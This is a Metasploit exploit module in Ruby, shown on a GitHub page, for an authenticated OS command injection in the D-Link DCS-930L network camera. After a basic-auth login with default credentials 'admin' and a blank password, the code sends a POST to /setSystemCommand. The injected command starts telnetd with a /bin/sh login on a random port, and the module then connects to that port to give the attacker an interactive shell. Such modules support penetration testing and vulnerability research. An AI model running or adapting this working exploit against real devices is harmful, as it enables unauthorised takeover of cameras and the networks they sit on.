-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
dlink_dcs_930l_authenticated_remote_command_execution.rb
157 lines (131 loc) · 4.5 KB
/
dlink_dcs_930l_authenticated_remote_command_execution.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution',
'Description' => %q{
The D-Link DCS-930L Network Video Camera is vulnerable
to OS Command Injection via the web interface. The vulnerability
exists at /setSystemCommand, which is accessible with credentials.
This vulnerability was present in firmware version 2.01 and fixed
by 2.12.
},
'Author' =>
[
'Nicholas Starke <nick@alephvoid.com>'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2015-12-20',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
OptString.new('HttpPassword', [ false, 'Password to login with', ''])
])
register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
])
end
def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end
def banner_timeout
(datastore['TelnetBannerTimeout'] || 25)
end
def exploit
user = datastore['HttpUsername']
pass = datastore['HttpPassword'] || ''
test_login(user, pass)
exploit_telnet
end
def test_login(user, pass)
print_status("#{peer} - Trying to login with #{user} : #{pass}")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200
print_good("#{peer} - Successful login #{user} : #{pass}")
end
def exploit_telnet
telnet_port = rand(32767) + 32768
print_status("#{peer} - Telnet Port: #{telnet_port}")
cmd = "telnetd -p #{telnet_port} -l/bin/sh"
telnet_request(cmd)
print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
end
add_socket(sock)
print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
end
handler(sock)
end
def telnet_request(cmd)
uri = '/setSystemCommand'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'ReplySuccessPage' => 'docmd.htm',
'ReplyErrorPage' => 'docmd.htm',
'SystemCommand' => cmd,
'ConfigSystemCommand' => 'Save'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, telnet_timeout)
return nil if not data or data.length == 0
if data =~ /BusyBox/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
end